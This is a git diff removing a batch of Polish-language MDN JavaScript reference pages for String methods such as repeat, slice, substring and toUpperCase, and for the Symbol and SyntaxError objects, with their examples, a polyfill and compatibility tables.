
- -
str.repeat(count)
- -

Parametry

- -
-
count
-
An integer between 0 and +∞: [0, +∞), indicating the number of times to repeat the string in the newly-created string that is to be returned.
-
- -

Zwracana wartość

- -

A new string containing the specified number of copies of the given string.

- -

Exceptions

- - - -

Przykłady

- -
'abc'.repeat(-1);   // RangeError
-'abc'.repeat(0);    // ''
-'abc'.repeat(1);    // 'abc'
-'abc'.repeat(2);    // 'abcabc'
-'abc'.repeat(3.5);  // 'abcabcabc' (count will be converted to integer)
-'abc'.repeat(1/0);  // RangeError
-
-({ toString: () => 'abc', repeat: String.prototype.repeat }).repeat(2);
-// 'abcabc' (repeat() is a generic method)
-
- -

Polyfill

- -

This method has been added to the ECMAScript 6 specification and may not be available in all JavaScript implementations yet. However, you can polyfill String.prototype.repeat() with the following snippet:

- -
if (!String.prototype.repeat) {
-  String.prototype.repeat = function(count) {
-    'use strict';
-    if (this == null) {
-      throw new TypeError('can\'t convert ' + this + ' to object');
-    }
-    var str = '' + this;
-    count = +count;
-    if (count != count) {
-      count = 0;
-    }
-    if (count < 0) {
-      throw new RangeError('repeat count must be non-negative');
-    }
-    if (count == Infinity) {
-      throw new RangeError('repeat count must be less than infinity');
-    }
-    count = Math.floor(count);
-    if (str.length == 0 || count == 0) {
-      return '';
-    }
-    // Ensuring count is a 31-bit integer allows us to heavily optimize the
-    // main part. But anyway, most current (August 2014) browsers can't handle
-    // strings 1 << 28 chars or longer, so:
-    if (str.length * count >= 1 << 28) {
-      throw new RangeError('repeat count must not overflow maximum string size');
-    }
-    var rpt = '';
-    for (;;) {
-      if ((count & 1) == 1) {
-        rpt += str;
-      }
-      count >>>= 1;
-      if (count == 0) {
-        break;
-      }
-      str += str;
-    }
-    // Could we try:
-    // return Array(count + 1).join(this);
-    return rpt;
-  }
-}
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}{{Spec2('ESDraft')}} 
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("41")}} {{CompatGeckoDesktop("24")}}{{CompatNo}}{{CompatNo}}{{CompatSafari("9")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome("36")}}{{CompatGeckoMobile("24")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
diff --git a/files/pl/web/javascript/referencje/obiekty/string/search/index.html b/files/pl/web/javascript/referencje/obiekty/string/search/index.html deleted file mode 100644 index 29b9d8e8fb..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/search/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: String.prototype.search() -slug: Web/JavaScript/Referencje/Obiekty/String/search -tags: - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/search ---- -

{{JSRef}}

- -

Podsumowanie

- -

Wykonuje przeszukanie dla dopasowanych wyrażeń regularnych i tego obiektu {{jsxref("String")}}.

- -

Składnia

- -
str.search(regexp)
- -

Parametry

- -
-
regexp 
-
Nazwa wyrażenia regularnego. Może być to nazwa zmiennej lub literał.
-
- -

Opis

- -

Jeśli sukces, rezultat przeszukania indeksu wyrażenia regularnego wewnątrz łańcucha znaków. Inaczej zwróci -1.

- -

Kiedy chcesz wiedzieć gdzie jest znaleziony wzorzec w łańcuchu znaków zastosuj search() (podobne do wyrażenia regularnego metody {{jsxref("RegExp.prototype.test()", "test()")}}); aby uzyskać więcej informacji (lecz wolniej wykonywanie) zastosuj {{jsxref("String.prototype.match()", "match()")}} (podobne do wyrażenia regularnego metody {{jsxref("RegExp.prototype.exec()", "exec()")}} method).

- -

Przykłady

- - - -

Następujący przykład drukuje wiadomość, która zależy od sukcesu testu.

- -
function testinput(re, str){
-   var midstring;
-   if (str.search(re) != -1) {
-      midstring = " contains ";
-   } else {
-      midstring = " does not contain ";
-   }
-   console.log (str + midstring + re.source);
-}
-
diff --git a/files/pl/web/javascript/referencje/obiekty/string/slice/index.html b/files/pl/web/javascript/referencje/obiekty/string/slice/index.html deleted file mode 100644 index 4fca8a78ca..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/slice/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: String.prototype.slice() -slug: Web/JavaScript/Referencje/Obiekty/String/slice -tags: - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/slice ---- -

{{JSRef}}

- -

Podsumowanie

- -

Wydobywa część łańcucha znaków i zwraca go jako nowy łańcuch znaków.

- -

Składnia

- -
str.slice(beginSlice[, endSlice])
- -

Parametry

- -
-
beginSlice 
-
Oparty na zerze początek indeksu rozpoczynający wyciąganie.
-
- -
-
endSlice 
-
Oparty na zerze początek indeksu, który kończy wyciąganie. Jeśli pominięty slice() wydobywa do końca łańcuch znaków.
-
- -

Opis

- -

slice() wyciąga tekst z jednego łańcucha znaków i zwraca nowy łańcuch znaków. Zmiany w treści jednego łańcucha znaków nie mają wpływu na drugi.

- -

slice() wyciąga tekst do endSlice lecz go nie włącza. string.slice(1,4) wyciąga drugi znak aż do czwartego (znaki o indeksach 1, 2 i 3).

- -

Jako ujemny indeks endSlice sygnalizuje przesunięcie z końca łańcucha znaków. str.slice(2,-1) wyciąga trzeci przez ostatni znak w łańcuchu znaków.

- -

Przykłady

- -

Przykład: Zastosowanie slice()

- -

Poniższy przykład używa slice do stworzenia nowego łańcucha znaków.

- -
var str1 = 'The morning is upon us.';
-var str2 = str1.slice(4,-2);
-
-console.log(str2); // OUTPUT: morning is upon u
-
diff --git a/files/pl/web/javascript/referencje/obiekty/string/small/index.html b/files/pl/web/javascript/referencje/obiekty/string/small/index.html deleted file mode 100644 index be9d33a5bb..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/small/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: String.prototype.small() -slug: Web/JavaScript/Referencje/Obiekty/String/small -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/String/small ---- -
{{JSRef}} {{deprecated_header}}
- -

Podsumowanie

- -

Powoduje to, że łańcuch znaków będzie wyświetlany małą czcionką, jakby znajdował się wewnątrz znacznika {{HTMLElement("small")}}.

- -

Składnia

- -
str.small()
- -

Opis

- -

The small() method embeds a string in a <small> tag: "<small>str</small>".

- -

Przykłady

- -

Przykład: Zastosowanie metody small()

- -
var worldString = "Witaj, Świecie";
-
-console.log(worldString.small());     // <small>Witaj, Świecie</small>
-console.log(worldString.big());       // <big>Witaj, Świecie</big>
-console.log(worldString.fontsize(7)); // <fontsize=7>Witaj, Świecie</fontsize>
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/strike/index.html b/files/pl/web/javascript/referencje/obiekty/string/strike/index.html deleted file mode 100644 index cef74018f1..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/strike/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: String.prototype.strike() -slug: Web/JavaScript/Referencje/Obiekty/String/strike -tags: - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/strike ---- -

{{JSRef}}{{deprecated_header}}

- -

Podsumowanie

- -

Powoduje, iż łańcuch zostanie wyświetlony przekreślony, tak jakby był wewnątrz znacznika {{HTMLElement("strike")}}.

- -

Składnia

- -
str.strike()
- -

Opis

- -

The strike() method embeds a string in a <strike> tag: "<strike>str</strike>".

- -

Przykłady

- -

Przykład: Zastosowanie metody strike()

- -

Następujący przykład stosuje metodę string do zmiany formatowania łańcucha znakowego:

- -
var worldString="Witaj, Świecie";
-
-console.log(worldString.blink());   // <blink>Witaj, Świecie</blink>
-console.log(worldString.bold());    // <bold>Witaj, Świecie</bold>
-console.log(worldString.italics()); // <i>Witaj, Świecie</i>
-console.log(worldString.strike());  // <s>Witaj, Świecie</s>
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/sub/index.html b/files/pl/web/javascript/referencje/obiekty/string/sub/index.html deleted file mode 100644 index 4c36c53a39..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/sub/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: String.prototype.sub() -slug: Web/JavaScript/Referencje/Obiekty/String/sub -tags: - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/sub ---- -

{{JSRef}}{{deprecated_header}}

- -

Podsumowanie

- -

Powoduje, iż łańcuch zostanie wyświetlony jako indeks dolny tak jakby był wewnątrz znacznika {{HTMLElement("sub")}}.

- -

Składnia

- -
str.sub()
- -

Opis

- -

The sub() method embeds a string in a <sub> tag: "<sub>str</sub>".

- -

Przykłady

- -

Przykład: Zastosowanie metod sub() i sup()

- -

Następujący przykład stosuje metody sub() i {{jsxref("String.prototype.sup()", "sup()")}} do formatowania łańcucha znaków:

- -
var superText="superscript";
-var subText="subscript";
-
-console.log("This is what a " + superText.sup() + " looks like.");
-// This is what a <sup>superscript</sup> looks like
-
-console.log("This is what a " + subText.sub() + " looks like.");
-// This is what a <sub>subscript</sub> looks like.
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/substr/index.html b/files/pl/web/javascript/referencje/obiekty/string/substr/index.html deleted file mode 100644 index 61487db384..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/substr/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: String.prototype.substr() -slug: Web/JavaScript/Referencje/Obiekty/String/substr -tags: - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/substr ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca określoną liczbę początkowych znaków w łańcuchu znaków w określonej lokalizacji.

- -

Składnia

- -
str.substr(start[, length])
- -

Parametry

- -
-
start 
-
Lokalizacja, w której rozpoczyna się wyciąganie znaków (wartość liczbowa pomiędzy 0, a jeden znak mniej niż długość łańcucha znaków).
-
- -
-
length 
-
Liczba znaków do wyciągnięcia.
-
- -

Opis

- -

start jest indeksem znaków. Pierwszym znakiem w indeksie jest 0 i ostatnim znakiem w indeksie jest liczba o 1 mniejsza niż długość łańcucha znaków. substr() rozpoczyna wyciąganie znaków w start i ściąga liczbę length znaków.

- -

Jeśli start jest dodatnie i jest długością łańcucha znaków lub dłuższą wartością, substr() nie zwraca znaków.

- -

Jeśli start jest ujemne, substr() stosuje to jako indeks znaków z końca łańcucha znaków. Jeśli start jest ujemne i abs(start) jest większe niż długość łańcucha znaków to substr() stosuje 0 jako początek indeksu.

- -

Jeśli length jest 0 lub ujemne, substr() nie zwróci znaków. Jeśli length jest opuszczone, substr() wyciągnie znaki aż do końca łańcucha znaków.

- -

Przykłady

- -

Przykład: Zastosowanie substr()

- -

Rozpatrz poniższy skrypt:

- -
var str = 'abcdefghij';
-
-console.log('(1, 2): ' + str.substr(1, 2)); // '(1, 2): bc'
-console.log('(-3, 2): ' + str.substr(-3, 2)); // '(-3, 2): hi'
-console.log('(-3): ' + str.substr(-3)); // '(-3): hij'
-console.log('(1): ' + str.substr(1)); // '(1): bcdefghij'
-console.log('(-20, 2): ' + str.substr(-20, 2)); // '(-20, 2): ab'
-console.log('(20, 2): ' + str.substr(20, 2)); // '(20, 2): '
-
- -

Zobacz także

- -

 

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/substring/index.html b/files/pl/web/javascript/referencje/obiekty/string/substring/index.html deleted file mode 100644 index 5a446e0225..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/substring/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: String.prototype.substring() -slug: Web/JavaScript/Referencje/Obiekty/String/substring -tags: - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/substring ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca podciąg obiektu String.

- -

Składnia

- -
str.substring(indexA[, indexB])
- -

Parametry

- -
-
indexA 
-
Liczba całkowita pomiędzy 0, a liczbą o jeden mniejszą niż długość łańcucha znaków.
-
indexB 
-
Opcjonalny. Liczba całkowita pomiędzy 0 i długością łańcucha znaków.
-
- -

Opis

- -

substring urywa znaki z indexA lecz nie włącza ich do indexB. W szczególności:

- - - -

Jeśli indexA jest większy niż indexB, JavaScript zwróci substring(indexB, indexA).

- -

Przykłady

- -

Przykład: Zastosowanie substring()

- -

Następujący przykład substring stosujemy do wyświetlenia znaków ze słowa "Mozilla":

- -
var anyString = "Mozilla";
-
-// Wyświetli  "Moz"
-console.log(anyString.substring(0,3));
-console.log(anyString.substring(3,0));
-
-// Wyświetli  "lla"
-console.log(anyString.substring(4));
-console.log(anyString.substring(4,7));
-console.log(anyString.substring(7,4));
-
-// Wyświetli  "Mozill"
-console.log(anyString.substring(0,6));
-
-// Wyświetli "Mozilla"
-console.log(anyString.substring(0,7));
-console.log(anyString.substring(0,10));
-
- -

Przykład: Zamiana podciągu wewnątrz ciągu

- -

Następujący przykład zamienia podciąg wewnątrz ciągu. Zostaną zamienione oba poszczególne znaki i podciągi. Funkcja zostanie wywołana na koniec przykładu zmieniając łańcuch znaków; "Brave New World" na "Brave New Web".

- -
function replaceString(oldS, newS, fullS) {
-// Replaces oldS with newS in the string fullS
-   for (var i = 0; i < fullS.length; i++) {
-      if (fullS.substring(i, i + oldS.length) == oldS) {
-         fullS = fullS.substring(0, i) + newS + fullS.substring(i + oldS.length, fullS.length);
-      }
-   }
-   return fullS;
-}
-
-replaceString("World", "Web", "Brave New World");
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/sup/index.html b/files/pl/web/javascript/referencje/obiekty/string/sup/index.html deleted file mode 100644 index dbf33ea3ed..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/sup/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: String.prototype.sup() -slug: Web/JavaScript/Referencje/Obiekty/String/sup -tags: - - Deprecated - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/sup ---- -

{{JSRef}}{{deprecated_header}}

- -

Podsumowanie

- -

Powoduje, iż łańcuch zostanie wyświetlony jako indeks górny tak jakby był wewnątrz znacznika {{HTMLElement("sup")}}.

- -

Składnia

- -
str.sup()
- -

Opis

- -

The sup() method embeds a string in a <sup> tag: "<sup>str</sup>".

- -

Przykłady

- -

Przykład: Zastosowanie metody sub() i sup()

- -

Następujący przykład stosuje metodę {{jsxref("String.prototype.sub()", "sub()")}} i sup() do zmiany formatu łańcucha znaków:

- -
var superText="superscript";
-var subText="subscript";
-
-console.log("This is what a " + superText.sup() + " looks like.");
-// This is what a <sup>superscript</sup> looks like
-
-console.log("This is what a " + subText.sub() + " looks like.");
-// This is what a <sub>subscript</sub> looks like.
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/tolowercase/index.html b/files/pl/web/javascript/referencje/obiekty/string/tolowercase/index.html deleted file mode 100644 index 0b871b9ca6..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/tolowercase/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: String.prototype.toLowerCase() -slug: Web/JavaScript/Referencje/Obiekty/String/toLowerCase -tags: - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/toLowerCase ---- -

{{jsref}}

- -

Podsumowanie

- -

Zwraca wartość wywołującego łańcucha znaków, skonwertowaną na małe litery.

- -

Składnia

- -
str.toLowerCase()
- -

Opis

- -

Metoda toLowerCase() zwraca wartość łańcucha znaków skonwertowanego na małe litery. toLowerCase() nie wpływa na wartość samego łańcucha.

- -

Przykłady

- -

Przykład: Zastosowanie toLowerCase

- -

Następujący przykład wyświetli łańcuch "alfabet" złożony z małych liter:

- -
console.log('ALFABET'.toLowerCase()); // 'alfabet'
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/string/tosource/index.html deleted file mode 100644 index cb372d673c..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/tosource/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: String.prototype.toSource() -slug: Web/JavaScript/Referencje/Obiekty/String/toSource -tags: - - JavaScript - - Method - - Non-standard - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/toSource ---- -

{{JSRef}}{{non-standard_header}}

- -

Podsumowanie

- -

Zwraca łańcuch znaków reprezentujący kod źródłowy obiektu.

- -

Składnia

- -
String.toSource()
-str.toSource()
-
- -

Opis

- -

Metoda toSource() zwraca następujące wartości:

- - - -

Ta metoda jest w JavaScript wywoływana zazwyczaj wewnętrznie, nie bezpośrednio w kodzie.

- -
 
diff --git a/files/pl/web/javascript/referencje/obiekty/string/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/string/tostring/index.html deleted file mode 100644 index 16028dff15..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/tostring/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: String.protype.toString() -slug: Web/JavaScript/Referencje/Obiekty/String/toString -tags: - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/toString ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca łańcuch znaków reprezentujący dany obiekt.

- -

Składnia

- -
str.toString()
- -

Opis

- -

Obiekt {{jsxref("String")}} przesłania metodę toString obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektów {{jsxref("String")}}, metoda toString() zwraca łańcuch znaków reprezentujący obiekt.

- -

Przykłady

- -

Przykład: Zastosowanie toString()

- -

Następujący przykład wyświetli wartość łańcuch znaków obiektu {{jsxref("String")}}:

- -
var x = new String("Witaj świecie");
-
-console.log(x.toString())      // Wyświetla "Witaj świecie"
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/touppercase/index.html b/files/pl/web/javascript/referencje/obiekty/string/touppercase/index.html deleted file mode 100644 index 4b792076fe..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/touppercase/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: String.prototype.toUpperCase() -slug: Web/JavaScript/Referencje/Obiekty/String/toUpperCase -tags: - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/toUpperCase ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca wartość wywołującego łańcucha znaków, skonwertowaną na duże litery.

- -

Składnia

- -
str.toUpperCase()
- -

Opis

- -

Metoda toUpperCase() zwraca wartość łańcucha znaków skonwertowanego na duże litery. toUpperCase() nie wpływa na wartość samego łańcucha.

- -

Przykłady

- -

Przykład: Zastosowanie toUpperCase()

- -
console.log('alfabet'.toUpperCase()); // 'ALFABET'
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/valueof/index.html b/files/pl/web/javascript/referencje/obiekty/string/valueof/index.html deleted file mode 100644 index 1eda0e3021..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/valueof/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: String.prototype.valueOf() -slug: Web/JavaScript/Referencje/Obiekty/String/valueOf -tags: - - JavaScript - - Method - - Property - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/valueOf ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca pierwotną wartość obiektu {{jsxref("String")}}.

- -

Składnia

- -
str.valueOf()
- -

Opis

- -

Metoda valueOf() obiektu {{jsxref("String")}} zwraca pierwotną wartość obiektu {{jsxref("String")}} jako łańcuch znaków. Ta wartość jest równoważna do {{jsxref("String.prototype.toString()")}}.

- -

Ta metoda jest w JavaScript wywoływana zazwyczaj wewnętrznie, nie bezpośrednio w kodzie.

- -

Przykłady

- -

Przykład: Zastosowanie valueOf()

- -
var x = new String("Witaj świecie");
-console.log(x.valueOf()); // Wyświetla "Witaj świecie"
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/symbol/index.html b/files/pl/web/javascript/referencje/obiekty/symbol/index.html deleted file mode 100644 index 4124cb2a46..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/symbol/index.html +++ /dev/null @@ -1,227 +0,0 @@ ---- -title: Symbol -slug: Web/JavaScript/Referencje/Obiekty/Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol ---- -
{{JSRef}}
- -

Funkcja Symbol() zwraca wartość typu symbol, posiada statyczne własności wystawiające kilka wartości używanych we wbudowanych obiektach, posiada statyczne metody wystawiające globalny rejestr symboli i przypomina wbudowaną klasę obiektu, jest jednak niekompletna jako konstruktor ponieważ nie wspiera składni "new Symbol()".  

- -

Każdy symbol zwrócony przez Symbol() jest unikalny. Symbol powinien być użyty jako identyfikator własności obiektu, został zaprojektowany jedynie w tym celu. Pełniejsze wyjaśnienie dotyczące jego przeznaczenia i użycia można znaleźć w poświęconym mu wpisie w glosariuszu.

- -

Typ symbol jest {{Glossary("Primitive", "typem prostym")}}.

- -
{{EmbedInteractiveExample("pages/js/symbol-constructor.html")}}
- - - -

Składnia

- -
Symbol([opis])
- -

Parametry

- -
-
opis {{optional_inline}}
-
Ciąg znaków, parametr opcjonalny. Opis symbolu, może być użyty do debugowania, ale nie do dostania się do samego symbolu.
-
- -

Opis

- -

Aby stworzyć nowy symbol należy użyć funkcji Symbol(), opcjonalnie przekazując jej opisowy ciąg znaków:

- -
var sym1 = Symbol();
-var sym2 = Symbol('foo');
-var sym3 = Symbol('foo');
-
- -

Powyższy kod tworzy trzy nowe symbole. Należy zwrócić uwagę, że Symbol("foo") nie konwertuje ciągu znaków "foo" na symbol, tylko tworzy za każdym razem nowy symbol:

- -
Symbol('foo') === Symbol('foo'); // false
- -

Następująca składnia z operatorem {{jsxref("Operators/new", "new")}} spowoduje wyjątek {{jsxref("TypeError")}}:

- -
var sym = new Symbol(); // TypeError
- -

Dzieje się tak dlatego żeby powstrzymać programistów przed opakowywaniem wartości symboli w obiekty i może być zaskakujące, gdyż tworzenie opakowanych wartości dla typów prostych jest zazwyczaj możliwe (na przykład new Boolean, new String i new Number).

- -

Jeśli stworzenie opakowanego symbolu jest dokładnie tym czego chce programista, może do tego użyć funkcji Object():

- -
var sym = Symbol('foo');
-typeof sym;     // "symbol"
-var symObj = Object(sym);
-typeof symObj;  // "object"
-
- -

Symbole współdzielone w globalnym rejestrze symboli

- -

Powyższa składnia używająca funkcji Symbol() nie stworzy globalnego symbolu, który będzie dostępny w całym kodzie. Aby stworzyć symbol dostępny między plikami, a nawet między sferami (z których każda ma swoją globalną przestrzeń) należy użyć metody {{jsxref("Symbol.for()")}}. Z kolei metody {{jsxref("Symbol.keyFor()")}} można użyć aby uzyskać nazwę globalnego klucza dla posiadanego symbolu.

- -

Znajdowanie własności indeksowanych symbolami na obiekcie

- -

Metoda {{jsxref("Object.getOwnPropertySymbols()")}} zwraca tablicę symboli i pozwala znaleźć własności indeksowane symbolami na danym obiekcie. Każdy obiekt jest inicjowany bez takich własności, więc metoda ta zwróci pustą tablicę do czasu ustawienia na obiekcie własności pod kluczem typu symbol.

- -

Własności

- -
-
Symbol.length
-
Własność length której wartością jest 0.
-
{{jsxref("Symbol.prototype")}}
-
Reprezentuje prototyp konstruktora Symbol.
-
- -

Znane symbole

- -

Oprócz symboli zdefiniowanych przez programistę, JavaScript posiada wbudowane symbole reprezentujące wewnętrzne mechanizmy języka, które nie były widoczne dla programisty w wersji ECMAScript 5 i wcześniejszych. Dostęp do tych symboli jest możliwy za pomocą następujących własności statycznych:

- -

Symbole iteracji

- -
-
{{jsxref("Symbol.iterator")}}
-
Metoda zwracająca domyślny iterator dla obiektu. Używana przez for...of.
-
{{jsxref("Symbol.asyncIterator")}} {{experimental_inline}}
-
Metoda zwracająca domyślny asynchroniczny iterator dla obiektu. Używana przez for await of.
-
- -

Symbole wyrażeń regularnych

- -
-
{{jsxref("Symbol.match")}}
-
Metoda dopasowująca dla ciągu znaków, używana również dla określenia czy obiekt może zostać użyty jako wyrażenie regularne. Używana przez {{jsxref("String.prototype.match()")}}.
-
{{jsxref("Symbol.replace")}}
-
Metoda zastępująca dopasowany ciąg w ciągu znaków. Używana przez {{jsxref("String.prototype.replace()")}}.
-
{{jsxref("Symbol.search")}}
-
Metoda zwracająca indeks początku ciągu znaków który został dopasowany do wyrażenia regularnego. Używana przez {{jsxref("String.prototype.search()")}}.
-
{{jsxref("Symbol.split")}}
-
Metoda dzieląca łańcuch znaków w miejscu w którym został dopasowany do wyrażenia regularnego. Używana przez {{jsxref("String.prototype.split()")}}.
-
- -

Pozostałe symbole

- -
-
{{jsxref("Symbol.hasInstance")}}
-
Metoda określająca czy konstruktor rozpoznaje obiekt jako swoją instancję. Używana przez {{jsxref("Operators/instanceof", "instanceof")}}.
-
{{jsxref("Symbol.isConcatSpreadable")}}
-
Wartość logiczna określająca czy obiekt powinien zostać spłaszczony do jego elementów tablicy. Używana przez {{jsxref("Array.prototype.concat()")}}.
-
{{jsxref("Symbol.unscopables")}}
-
Wartość obiektu którego własne i dziediczone nazwy własności są wykluczone ze środowiska with powiązanego obiektu.
-
{{jsxref("Symbol.species")}}
-
Funkcja konstruktora używana do tworzenia obiektów wywodzących się z danego.
-
{{jsxref("Symbol.toPrimitive")}}
-
Metoda konwertująca obiekt na typ prosty.
-
{{jsxref("Symbol.toStringTag")}}
-
Ciąg znaków używany dla domyślnego opisu obiektu. Używany przez {{jsxref("Object.prototype.toString()")}}.
-
- -

Metody

- -
-
{{jsxref("Symbol.for()", "Symbol.for(key)")}}
-
Szuka istniejącego symbolu o podanym kluczu i zwraca go, jeśli został znaleziony. W przeciwnym razie w globalnym rejestrze tworzony jest nowy symbol o podanym kluczu i również zwracany.
-
{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}
-
Zwraca klucz w globalnym rejestrze zapisany dla danego symbolu.
-
- -

Symbol prototype

- -

Wszystkie symbole dziecidzą po {{jsxref("Symbol.prototype")}}.

- -

Własności

- -

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Properties')}}

- -

Metody

- -

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Methods')}}

- -

Przykłady

- -

Używanie operatora typeof z symbolami

- -

Operator {{jsxref("Operators/typeof", "typeof")}} może pomóc w identyfikacji symboli.

- -
typeof Symbol() === 'symbol'
-typeof Symbol('foo') === 'symbol'
-typeof Symbol.iterator === 'symbol'
-
- -

Konwersje typu symbol

- - - -

Symbole i iteracja for...in

- -

Symbole nie są iterowalne w pętlach for...in. Dodatkowo, {{jsxref("Object.getOwnPropertyNames()")}} nie zwróci własności obiektu zapisanych pod kluczem którym jest symbol, do tego celu można użyć {{jsxref("Object.getOwnPropertySymbols()")}}.

- -
var obj = {};
-
-obj[Symbol('a')] = 'a';
-obj[Symbol.for('b')] = 'b';
-obj['c'] = 'c';
-obj.d = 'd';
-
-for (var i in obj) {
-   console.log(i); // loguje "c" i "d"
-}
- -

Symbole i JSON.stringify()

- -

Własności obiektu znajdujące się pod kluczem w postaci symbolu są ignorowane przez JSON.stringify():

- -
JSON.stringify({[Symbol('foo')]: 'foo'});
-// '{}'
- -

Żeby dowiedzieć się więcej zobacz {{jsxref("JSON.stringify()")}}.

- -

Symbole opakowane w obiekty jako klucze własności

- -

Gdy symbol opakowany w obiekt jest użyty jako klucz własności, obiekt opakowujący zostanie skonwertowany do symbolu który opakowuje:

- -
var sym = Symbol('foo');
-var obj = {[sym]: 1};
-obj[sym];            // 1
-obj[Object(sym)];    // nadal 1
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-symbol-objects', 'Symbol')}}{{Spec2('ES2015')}}Wstępna definicja
{{SpecName('ESDraft', '#sec-symbol-objects', 'Symbol')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność przeglądarek

- - - -

{{Compat("javascript.builtins.Symbol")}}

- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/syntaxerror/index.html b/files/pl/web/javascript/referencje/obiekty/syntaxerror/index.html deleted file mode 100644 index c8a65cd46b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/syntaxerror/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: SyntaxError -slug: Web/JavaScript/Referencje/Obiekty/SyntaxError -tags: - - Błąd składniowy - - JavaScript - - Klasa - - Obiekt - - Referencja - - SyntaxError -translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError ---- -
{{JSRef}}
- -

Obiekt SyntaxError reprezentuje błąd przy próbie interpretacji kodu niepoprawnego pod względem składni. Jest wyrzucany wtedy, gdy silnik JavaScript podczas interpretacji kodu napotyka znak lub ciąg znaków niezgodny ze składnią języka.

- -

Konstruktor

- -
-
SyntaxError()
-
Tworzy nowy obiekt SyntaxError.
-
- -

Właściwości instancji

- -
-
{{jsxref("Error.prototype.message", "SyntaxError.prototype.message")}}
-
Wiadomość błędu. Chociaż ECMA-262 mówi, że {{jsxref("SyntaxError")}} powinien dostarczać własną właściwość message, w SpiderMonkey jest ona dziedziczona z {{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "SyntaxError.prototype.name")}}
-
Nazwa błędu. Odziedziczone z {{jsxref("Error")}}.
-
